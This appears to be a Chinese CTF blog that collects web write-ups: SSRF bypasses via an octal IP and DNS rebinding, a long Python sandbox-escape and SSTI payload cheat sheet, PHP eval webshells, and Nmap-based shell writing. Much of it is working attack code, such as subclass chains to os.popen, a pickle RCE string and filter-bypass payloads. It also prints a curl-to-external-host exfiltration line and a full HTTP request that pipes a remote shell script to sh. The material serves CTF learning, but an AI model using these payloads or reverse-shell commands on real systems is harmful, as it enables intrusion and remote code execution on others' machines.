TokyoWesterns CTF 2020 WEB WP

四个WEB,就做出两个,tcl...

比赛网址:https://score.ctf.westerns.tokyo/

截止现在还有 30 多个小时结束,哥哥们有时间可以去康康

urlcheck v1

题目附赠源码,是个Py写的网站

import os, re, requests, flask
from urllib.parse import urlparse

app = flask.Flask(__name__)
app.flag = '***CENSORED***'
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
    matches = app.re_ip.match(ip)
    if matches == None:
        return False

    ip = list(map(int, matches.groups()))
    if any(i > 255 for i in ip) == True:
        return False
    # Stay out of my private!
    if ip[0] in [0, 10, 127] \
        or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
        or (ip[0] == 169 and ip[1] == 254) \
        or (ip[0] == 192 and ip[1] == 168):
        return False
    return True

def get(url, recursive_count=0):
    r = requests.get(url, allow_redirects=False)
    if 'location' in r.headers:
        if recursive_count > 2:
            return '🤔'
        url = r.headers.get('location')
        if valid_ip(urlparse(url).netloc) == False:
            return '🤔'
        return get(url, recursive_count + 1) 
    return r.text

@app.route('/admin-status')
def admin_status():
    if flask.request.remote_addr != '127.0.0.1':
        return '🥺'
    return app.flag

@app.route('/check-status')
def check_status():
    url = flask.request.args.get('url', '')
    if valid_ip(urlparse(url).netloc) == False:
        return '🥺'
    return get(url)

@app.route('/')
def index():
    return '''
<!DOCTYPE html>
<html>
<head>
  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
  <script src="https://cdn.jsdelivr.net/npm/vue"></script>
</head>
<body>
    <div id="app" class="container">
      <h1>urlcheck v1</h1>
      <div class="input-group input-group-lg mb-3">
        <input v-model="url" placeholder="e.g.) http://11.45.148.93/" class="form-control">
        <div class="input-group-append">
          <button v-on:click="checkStatus" class="btn btn-primary">check</button>
        </div>
      </div>
      <div v-if="status" class="alert alert-info">{{ d(status) }}</div>
    </div>
    <script>
      new Vue({
        el: '#app',
        data: {url: '', status: ''},
        methods: {
          d: function (s) {
            let t = document.createElement('textarea')
            t.innerHTML = s
            return t.value
          },
          checkStatus: function () {
            fetch('/check-status?url=' + this.url)
              .then((r) => r.text())
              .then((r) => {
                this.status = r
              })
          }
        }
      })
    </script>
</body>
</html>
'''

源码大概意思是,只允许输入以点分割的IP,且如果输入127.0.0.1这种IP ,题目会返回false

当我们能够利用SSRF访问到本地路由 /admin-status便会得到flag

本想用一下 302 跳转,发现它会递归遍历你 Location 的位置(见get函数),那就试试其它方法吧

试了一会,发现八进制IP可行

payload:http://0177.000.000.001/admin-status

urlcheck v2

同样题目给了源码

import os, re, time, ipaddress, socket, requests, flask
from urllib.parse import urlparse

app = flask.Flask(__name__)
app.flag = '***CENSORED***'

def valid_ip(ip):
    try:
        result = ipaddress.ip_address(ip)
        # Stay out of my private!
        return result.is_global
    except:
        return False

def valid_fqdn(fqdn):
    return valid_ip(socket.gethostbyname(fqdn))

def get(url, recursive_count=0):
    r = requests.get(url, allow_redirects=False)
    if 'location' in r.headers:
        if recursive_count > 2:
            return '🤔'
        url = r.headers.get('location')
        if valid_fqdn(urlparse(url).netloc) == False:
            return '🤔'
        return get(url, recursive_count + 1)
    return a+r.text

@app.route('/admin-status')
def admin_status():
    if flask.request.remote_addr != '127.0.0.1':
        return '🥺'
    return app.flag

@app.route('/check-status')
def check_status():
    url = flask.request.args.get('url', '')
    if valid_fqdn(urlparse(url).netloc) == False:
        return '🥺'
    return get(url)

@app.route('/')
def index():
    return '''
<!DOCTYPE html>
<html>
<head>
  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
  <script src="https://cdn.jsdelivr.net/npm/vue"></script>
</head>
<body>
    <div id="app" class="container">
      <h1>urlcheck v2</h1>
      <div class="input-group input-group-lg mb-3">
        <input v-model="url" placeholder="e.g.) http://westerns.tokyo/" class="form-control">
        <div class="input-group-append">
          <button v-on:click="checkStatus" class="btn btn-primary">check</button>
        </div>
      </div>
      <div v-if="status" class="alert alert-info">{{ d(status) }}</div>
    </div>
    <script>
      new Vue({
        el: '#app',
        data: {url: '', status: ''},
        methods: {
          d: function (s) {
            let t = document.createElement('textarea')
            t.innerHTML = s
            return t.value
          },
          checkStatus: function () {
            fetch('/check-status?url=' + this.url)
              .then((r) => r.text())
              .then((r) => {
                this.status = r
              })
          }
        }
      })
    </script>
</body>
</html>
'''

试了试进制、IPv6等,貌似都不行,一度陷入僵局....

这时注意到这道题貌似支持 domain 的解析(自定义函数valid_fqdn使用了socket.gethostbyname()),联想上一题只支持纯数字 IP,猜测这里可能有问题

SSRF+和域名有关,自然而然的想到了DNS Rebinding,那就试试吧

有个小坑点,卡了半下午

因为这道题不支持 ceye.io 域名的解析,所以后面我想的是配置个人域名解析,但个人域名,如阿里云、腾讯云的 TTL 最短都高达600,所以在群里问了问,最后一个学长给了个配好了的域名7f000001.0b2d945d.rbndr.us

多访问几次即可拿到flag

image-20200919185738846

看了看后面的两个题,大概都是这种

image-20200919190150708

太菜了,连文件都看不懂,溜了溜了

(有做出来的哥哥记得ddw)

发表在 DNS Rebinding, SSRF | 留下评论

Python沙箱逃逸总结

好久没更新博客了,放一篇咕了很久的总结

Python 沙箱逃逸

参考:

Python 沙箱逃逸

Python 沙盒逃逸备忘

构造payload常用的内置方法/属性

__class__

构造继承链的起点方法

>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>
>>> ().__class__
<type 'tuple'>
>>> ''.__class__
<type 'str'>

__base__

寻找object基类(绝大多数可用的子类都存在于object基类)

>>> [].__class__.__base__
<type 'object'>
>>> {}.__class__.__base__
<type 'object'>
>>> ().__class__.__base__
<type 'object'>

注意 ''.__class__.__base__并不能得到 object 基类 ,所以一般不使用 '' 来构造payload

__bases__

__base__

(了解)但__base__不能使用数组索引,而__bases__可以

>>> [].__class__.__base__
<type 'object'>
>>> [].__class__.__base__[0]  #报错
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'type' object has no attribute '__getitem__'
>>> [].__class__.__bases__
(<type 'object'>,)
>>> [].__class__.__bases__[0]
<type 'object'>

__mro__

类似 __base__,都用于寻找 object 基类,但 __mro__ 的使用需要加上索引号

>>> ().__class__.__mro__[1]
<type 'object'>
>>> [].__class__.__mro__[1]
<type 'object'>
>>> {}.__class__.__mro__[1]
<type 'object'>

__subclasses__()

返回基类包含的子类,一般用于查看object基类中存在的可用子类

>>> ().__class__.__mro__[1].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, #.....省略
>>>

加上索引号即可访问该子类

>>> ().__class__.__mro__[1].__subclasses__()[40]
<type 'file'>

最后可通过找到的子类进行利用,如上面的 <type 'file'> 就可访问文件系统,如下

>>> ().__class__.__mro__[1].__subclasses__()[40]('/flag').read()
'ttpfx{test_test_test_test}'

__init__

类中的初始化方法,一般需要结合__globals__等其他方法来进行利用

>>> [].__class__.__mro__[1].__subclasses__()[59]
<class 'warnings.catch_warnings'>
>>> [].__class__.__mro__[1].__subclasses__()[59].__init__
<unbound method catch_warnings.__init__>

__enter__

__init__,当__init__被限制时可用于等价替换

__globals__

返回全局能使用的方法、变量、模块的字典

>>> [].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__
{'filterwarnings': <function filterwarnings at 0x7f0b5dba6b90>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, '_show_warning': <function _show_warning at 0x7f0b5dba6b18>, 'filters': [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], '_setoption': <function _setoption at 0x7f0b5dba6de8>, 'showwarning': <function _show_warning at 0x7f0b5dba6b18>, '__all__': ['warn', 'showwarning', 'formatwarning', 'filterwarnings', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 
 #....省略

__builtins__

预定义变量,包含类中可用方法的字典

>>> [].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']
{'bytearray': <type 'bytearray'>, 'IndexError': <type 'exceptions.IndexError'>, 'all': <built-in function all>, 'help': Type help() for interactive help, or help(object) for help about object., 'vars': <built-in function vars>, 'SyntaxError': <type 'exceptions.SyntaxError'>, 'unicode': <type 'unicode'>, 'UnicodeDecodeError': <type 'exceptions.UnicodeDecodeError'>, 'memoryview': <type 'memoryview'>, 'isinstance': <built-in function isinstance>, 
 #.....省略

于是我们可以通过这个方法字典,来调用一些函数实现RCE,如上我们可以发现存在 __import__方法,那我们可通过使用该方法导入os模块以实现RCE

[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()

还可以看看是否存在其他可利用的方法,如存在os,那我们可不用导入 os 库即可实现RCE,如上还存在 file,可用于读取文件

[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/flag').read()

func_globals

Py2才可用,同__globals__,可等价替换

[].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals['__builtins__']['file']('/flag').read()

image-20200913233034461

__dict__

类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类__dict__里,在这里用于导入变量(模块)或方法

​ 我们由之前的[].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals可知,该子类存在 linecache 模块,而该模块导入了 os 模块,所以我们可通过 func_globals 访问到 linecache 模块,再使用 __dict__导入其中的 os 模块 实现RCE

[].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].popen('cat /flag').read()

image-20200913234655805

__import__

用于导入模块

__import__("os").popen("cat /flag")

values()

以列表返回字典中的所有值,用法类似__builtins__一般结合__globals__或func_globals用于查看可用的全局变量的值

>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()
[<function filterwarnings at 0x7fe3d3d2bb90>, {}, <class 'warnings.WarningMessage'>, <function _show_warning at 0x7fe3d3d2bb18>, [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], <function _setoption at 0x7fe3d3d2bde8>, <function _show_warning at 0x7fe3d3d2bb18>, ['warn', 'showwarning', 'formatwarning', 'filterwarnings', 'resetwarnings', 'catch_warnings'], {}, None, <function simplefilter at 0x7fe3d3d2bc80>, 'default', <function _getcategory at 
 #......省略

然后进行引用,如这里调用 eval 函数

>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('1+1')
2

getattr()

返回一个对象属性值。

>>>class A(object):
...     bar = 1
... 
>>> a = A()
>>> getattr(a, 'bar')        # 获取属性 bar 值
1

该函数用于 . 符号的绕过,下面是smi1e师傅举的例子

  • [].__class__
    getattr([],'__class__')
  • [].__class__.__base__
    getattr(getattr([],'__class__'),'__base__')
  • [].__class__.__base__.__subclasses__()[59]
    getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59]
  • [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
    getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os'],'system')('ls')

可以看到成功替换掉了原payload里所有的 . 符号(但该payload新增了逗号)

__getattribute__()

利用__getattribute__(),可通过索引的方式调用类中的方法

>>> class Test(object):
...     def __init__(self):
...             self.name='Test'
...     def echo(self):
...             print(self.name)
... 
>>> a=Test()
>>> a.__getattribute__('echo')()
Test

该方法可绕过一些限制,如限制了globals关键词,可以通过该方法+字符串拼接的方式绕过

().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s')

__getitem__

__getitem__可以取第n位,用于绕过中括号的过滤

>>> ().__class__.__mro__[1]
<type 'object'>
>>> ().__class__.__mro__.__getitem__(1)
<type 'object'>

dir()

  • dir()在没有参数的时候返回本地作用域中的名称列表
  • dir()在有参数的时候返回该对象的有效属性列表
>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']
>>> dir([].__class__.__base__)
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

dir() 还可用于绕过 _ 的过滤,但需要结合 getattr()

getattr(getattr(getattr(getattr(getattr(getattr(getattr([],dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'base'+dir(0)[0][0]*2),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)()[59],dir(0)[0][0]*2+'init'+dir(0)[0][0]*2),dir(0)[0][0]*2+'globals'+dir(0)[0][0]*2)['linecache'],dir(0)[0][0]*2+'dict'+dir(0)[0][0]*2)['os'],'system')('ls')

__doc__

可用于一些特殊字符的替换,如限制了单个字符 g

>>> import os
>>> os.__doc__
"OS routines for Mac, NT, or Posix depending on what system we're on.\n\nThis exports:\n  - all functions from posix, nt, os2, or ce, e.g. unlink, stat, etc.\n  - os.path is one of the modules posixpath, or ntpath\n  - os.name is 'posix', 'nt', 'os2', 'ce' or 'riscos'\n  - os.curdir is a string representing the current directory ('.' or ':')\n  - os.pardir is a string representing the parent directory ('..' or '::')\n  - os.sep is the (or a most common) pathname separator ('/' or ':' or '\\\\')\n  - os.extsep is the extension separator ('.' or '/')\n  - os.altsep is the alternate pathname separator (None or '/')\n  - os.pathsep is the component separator used in $PATH etc\n  - os.linesep is the line separator in text files ('\\r' or '\\n' or '\\r\\n')\n  - os.defpath is the default search path for executables\n  - os.devnull is the file path of the null device ('/dev/null', etc.)\n\nPrograms that import and use 'os' stand a better chance of being\nportable between different platforms.  Of course, they must then\nonly use functions that are defined by all platforms (e.g., unlink\nand opendir), and leave all pathname manipulation to os.path\n(e.g., split and join).\n"
>>> os.__doc__[132]
'g'
>>> ().__class__.__mro__[1].__subclasses__()[40]('/fla'+os.__doc__[132]).read()
'ttpfx{test_test_test_test}'

reload() / imp.reload()

如题目删除了一些危险函数,如

del __builtins__.__dict__['__import__']

这时会导致无法导入模块,但 我们可以通过 reload(__builtins__)来重新导入__import__

>>> del __builtins__.__dict__['__import__']
>>> import os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: __import__ not found
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> import os
>>> os.system('cat /flag')
ttpfx{test_test_test_test}

但在python3中题目存在于 默认已导入模块 imp中,所以如果在Py3中,需要使用imp.reload()

>>> del __builtins__.__dict__['__import__']
>>> import os

----------------------------------------
Unhandled server exception!
Thread: SockThread
Client Address:  ('127.0.0.1', 7554)
Request:  <socket.socket fd=768, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 7555), raddr=('127.0.0.1', 7554)>
Traceback (most recent call last):
  File "D:\办公\python3.8.0\lib\socketserver.py", line 316, in _handle_request_noblock
    self.process_request(request, client_address)
  File "D:\办公\python3.8.0\lib\socketserver.py", line 347, in process_request
    self.finish_request(request, client_address)
  File "D:\办公\python3.8.0\lib\socketserver.py", line 360, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "D:\办公\python3.8.0\lib\idlelib\rpc.py", line 514, in __init__
    socketserver.BaseRequestHandler.__init__(self, sock, addr, svr)
  File "D:\办公\python3.8.0\lib\socketserver.py", line 720, in __init__
    self.handle()
  File "D:\办公\python3.8.0\lib\idlelib\run.py", line 515, in handle
    rpc.RPCHandler.getresponse(self, myseq=None, wait=0.05)
  File "D:\办公\python3.8.0\lib\idlelib\rpc.py", line 291, in getresponse
    response = self._getresponse(myseq, wait)
  File "D:\办公\python3.8.0\lib\idlelib\rpc.py", line 311, in _getresponse
    response = self.pollresponse(myseq, wait)
  File "D:\办公\python3.8.0\lib\idlelib\rpc.py", line 432, in pollresponse
    message = self.pollmessage(wait)
  File "D:\办公\python3.8.0\lib\idlelib\rpc.py", line 388, in pollmessage
    message = pickle.loads(packet)
KeyError: '__import__'

*** Unrecoverable, server exiting!
----------------------------------------

================================ RESTART: Shell ================================
>>> os.system('calc')
Traceback (most recent call last):
  File "<pyshell#2>", line 1, in <module>
    os.system('calc')
NameError: name 'os' is not defined
>>> imp.reload(__builtins__)    #这里虽然报错,但其实已经reload成功了
Traceback (most recent call last):
  File "<pyshell#3>", line 1, in <module>
    imp.reload(__builtins__)
NameError: name 'imp' is not defined
>>> import os
>>> os.system('calc')
0

注意上面使用imp.reload(__builtins__)虽然报错,但其实已经reload成功了

文件读取

file()

只存在于Py2,不存在于Py3

>>> ().__class__.__mro__[1].__subclasses__()[40]
<type 'file'>
>>> ().__class__.__mro__[1].__subclasses__()[40]('/flag').read()
'ttpfx{test_test_test_test}'

open()

>>> [].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']
<built-in function open>
>>> [].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/flag').read()
'ttpfx{test_test_test_test}'

codecs模块

import codecs
codecs.open('test.txt').read()

命令执行

exec()

exec('import os;os.system("ifconfig")')   #exec函数包含的语句相当于一个完整的python_shell,但exec()的执行无回显

eval()

eval函数只支持单行语句的执行,会返回执行结果

还有一点和exec()不同的是,eval不能直接使用 import 语句来导入模块,若要导入模块需要使用__import__

>>> eval('import os')   #该句会报错
Traceback (most recent call last):
  File "<pyshell#3>", line 1, in <module>
    eval('import os')
  File "<string>", line 1
    import os
    ^
SyntaxError: invalid syntax
>>> eval('__import__("os").system("calc")') #使用__import__成功使用os模块
0

execfile()

execfile()用于执行可执行文件

execfile('/flag.py')

os模块

os.system('ls /')

os.popen('ls /')

os.startfile(r'/flag.exe')   #执行可执行文件

timeit模块

import timeit
timeit.timeit("__import__('os').system('ipconfig')",number=1)

commands模块

>>> import commands
>>> commands.getoutput('cat /flag')
'ttpfx{test_test_test_test}'
>>> commands.getstatusoutput('cat /flag')
(0, 'ttpfx{test_test_test_test}')

platform模块

import platform
platform.popen('ls /').read()

subprocess模块

import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()

sys模块

sys模块本身不能用于命令执行,但可用于导入其他模块达到命令执行的效果

>>> import sys
>>> sys.modules['commands'].getoutput('cat /flag')
'ttpfx{test_test_test_test}'

popen模块

popen模块包含一些命令执行的模块

>>> import popen
>>> dir(popen)
['Sh', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '__path__', 'chain', 'fcntl', 'glob', 'islice', 'itertools', 'os', 'select', 'shlex', 'signal', 'subprocess', 'sys']
>>> popen.os.system('cat /flag')
ttpfx{test_test_test_test}0

pickle模块

pickle模块的反序列化可实现命令执行

>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'cat /flag'\ntR.")

这里是使用的 os.system()

详细参考:利用Python pickle实现任意代码执行

可利用的类

以如下两种类举例

warnings.catch_warnings

该类包含 linecache ,而 linecache 存在 os模块

>>> ().__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.catch_warnings'>
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('cat /flag')
ttpfx{test_test_test_test}0

_weakrefset._IterationGuard

>>> "".__class__.__mro__[-1].__subclasses__()[60]
<class '_weakrefset._IterationGuard'>
>>> "".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("cat /flag")')
ttpfx{test_test_test_test}0

寻找方法

​ 由上我们可以发现,只有类存在__init__.__globals__时,才能进行有效的利用(file类除外,它不存在__init__.__globals__,但可以直接用于读取文件),所以我们可以写脚本进行fuzz,来查找存在__init__.__globals__的类,以进行进一步的利用

>>> [].__class__.__mro__[1].__subclasses__()[56].__init__.__globals__ #报错
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'
>>> [].__class__.__mro__[1].__subclasses__()[57].__init__.__globals__ #报错
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'
>>> [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__
{'filterwarnings': <function filterwarnings at 0x7f45e74a5b90>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, '_show_warning': <function _show_warning at 0x7f45e74a5b18>, 'filters': [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], '_setoption': <function _setoption at 
#........省略

一些绕过方式

变量替换绕过

>>> a = open
>>> a('/flag').read()
'ttpfx{test_test_test_test}'

字符拼接绕过

如上面__getattribute__()的paylaod,通过字符串的拼接绕过黑名单关键词

().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s')

还可利用__doc__进行字符拼接绕过

编码

编码方式 Py3 不可用

>>> ().__class__.__mro__[1].__subclasses__()[40]('L2ZsYWc='.decode('base64')).read()
'ttpfx{test_test_test_test}'

L2ZsYWc=/flag的 b64 编码

还可以使用 rot13 编码和十六进制 .decode('rot_13') .decode('hex')

模块/函数被删除的绕过

__import__被删除时,只能使用 reload() 或 imp.reload(),如上,但当被删除的是模块时,我们还可以通过 execfile() 去引入该模块

>>> execfile('/usr/lib64/python2.7/os.py') #或下面一种路径
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /flag')

还有可能会存在模块导入路径被攻击者修改的情况(sys.modules['os']=None),这时可使用 execfile() 或自己赋值正确的路径给sys.modules['os'] 来导入模块

>>> import sys
>>> sys.modules['os']=None
>>> import os         #报错
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: No module named os
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os

目标无回显

  • http外带
  • dnslog外带
  • 运用 判断语句 + time.sleep() 进行盲注
  • 反弹shell

引号绕过

可以使用chr()函数进行绕过,如下转换__builtins__

>>> chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)
'__builtins__'

那我们可以将下面payload

[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls /').read()

转换为

>>> ().__class__.__base__.__subclasses__()[59].__init__.__globals__[chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)][chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)](chr(111)+chr(115)).popen(chr(108)+chr(115)+chr(32)+chr(47)).read()
'bin\nboot\ndata\ndev\netc\nflag\nflow.pcap\nhome\nlib\nlib64\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntest\ntest.exe\ntmp\nusr\nvar\n'

chr()函数同样也可用于某些关键字黑名单限制

除chr()外,在SSTI中还可使用 requests 绕过,如

request.args

request.host

request.content_md5

request.content_encoding

{{[].class.mro[1].subclasses()[40] (request.args.file).read()}}&file=/etc/passwd

class、base、subclasses等关键词绕过

使用字符串拼接(仅SSTI可用,普通的python shell不行)

{{()['__cla'+'ss__'].__mro__[-1]}}
{{().__class__['__ba'+'se__']}}
{{().__class__.__base__['__subcl'+'asses__']()}}

init绕过

如上,__enter__

. 符号绕过

如上,getattr()

_ 符号绕过

如上,dir(0)[0][0]

在SSTI中还可以使用request传参

()[request.args.class].bases[0].subclasses()[59].init.globals.builtins'eval'&class=class

{{ 过滤

使用 {% %}

{% if ''.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen('curl http://ip:port/?i=whoami').read()=='p' %}1{% endif %}

中括号绕过

如上,getitem()

总结

​ Py的沙箱的基本Bypass方法就上面这些,个人感觉Py沙箱逃逸更多需要我们合理去利用我们能够访问到的属性、方法来实现相应目的

​ 如 SCTF 2020 的 Pysandbox2 ,该题限制只能使用 chr(42~122)的字符,即引号和小括号都不能使用,且不能通过修改

app.static_folder动态更改静态文件目录,将静态文件目录设为根目录的方式去读取flag(这是 Pysandbox1 的做法)

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=["POST"])
def security():
    secret = request.form["cmd"]
    for i in secret:
        if not 42 <= ord(i) <= 122: return "error!"

    exec(secret)
    return "xXXxXXx"
    print(__builtins__.xXXxXXx)

if __name__ == '__main__':
    app.run(host="0.0.0.0")

可以知道,引号的绕过可以通过requests,但小括号貌似就不能绕过了?

Pysandbox2两个思路

第一个是直接修改 ord 函数,使的题目的 waf 失效

先将ord修改为lambda匿名函数,并设置参数一直为45,确保不会触发waf

__builtins__.ord=lambda*args:45

然后再将 / 路由中的security函数覆盖掉

app.view_functions['security'] = lambda: __import__('os').popen('cat /flag').read()

第二个就是修改视图函数为危险函数(eval等),然后就能在我们能控制的相应字段去发送相应payload

如官方WP中的做法就是找到路由解析函数 werkzeug.urls.url_parse,然后修改为eval完成命令执行

  1. 先通过tokyowestern 2018年shrine的找继承链脚本找到
    request.__class__._get_current_object.__globals__['__loader__'].__class__.__weak

  2. request.__class__._get_current_object.__globals__['__loader__'].__class__._ _weakref__.__objclass__.contents.__globals__['__loader__'].exec_module.__global s__['_bootstrap_external']._bootstrap.sys.modules['werkzeug.urls'].url_parse=eval

    这里的引号应该使用requests绕过的,但为了可读性,就没有按原WP照搬了

  3. 访问__import__('os').system('curl${IFS}https://shell.now.sh/8.8.8.8:1003|sh')即可弹回shell,数据包如下

    POST __import__('os').system('curl${IFS}https://shell.now.sh/8.8.8.8:1003|sh') HTTP/1.1
    Host: __loader__
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: experimentation_subject_id=IjA3OWUxNDU0LTdiNmItNDhmZS05N2VmLWYyY2UyM2RmZDEyMyI% 3D--a3effd8812fc6133bcea4317b16268364ab67abb; lang=zh-CN
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-MD5: _bootstrap_external
    Content-Encoding: werkzeug.urls
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 246
    
    cmd=request.__class__._get_current_object.__globals__[request.host].__class__._ _weakref__.__objclass__.contents.__globals__[request.host].exec_module.__global s__[request.content_md5]._bootstrap.sys.modules[request.content_encoding].url_parse=eval
发表在 Python沙箱逃逸, SSTI模板注入 | 留下评论

[GKCTF2020]CheckIN

考点:Bypass disable function
解题:
进入页面得到源码

<?php  
highlight_file(__FILE__); 
class ClassName 
{ 
        public $code = null; 
        public $decode = null; 
        function __construct() 
        { 
                $this->code = @$this->x()['Ginkgo']; 
                $this->decode = @base64_decode( $this->code ); 
                @Eval($this->decode); 
        } 

        public function x() 
        { 
                return $_REQUEST; 
        } 
} 
new ClassName();

白给的shell,不过不知道为什么选择b64加密选项直接连蚁剑不行,这里是将eval($_POST['cmd']); base64加密了然后连的shell,随后是和极客大挑战一样的过程,就不写了

发表在 Bypass disable_function, RCE漏洞 | 留下评论

[网鼎杯 2020 朱雀组]Nmap

考点:Nmap命令
解题:
Em.....考的对namp的命令熟悉,有两种方式

一种:<?= @eval($_POST["cmd"]);?> -oG shell.phtml
这是使用短标签和phtml绕过对php的过滤

还有一种:127.0.0.1' -iL /flag -oN flag.txt '
这里是将/flag写入到网站目录的flag.txt

发表在 nmap写shell, 一些小trick | 留下评论

[网鼎杯 2020 朱雀组]phpweb

考点:任意代码执行、反序列化
解题:
挺基础的一道题,就是在构造读目录的时候卡了一会儿,太菜了
打开网站,简单测试未发现源码泄露,然后抓包分析
img
这里有个func字段,猜测应该是代表函数,随手测试一下 f=readfile&p=index.php,得到源码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

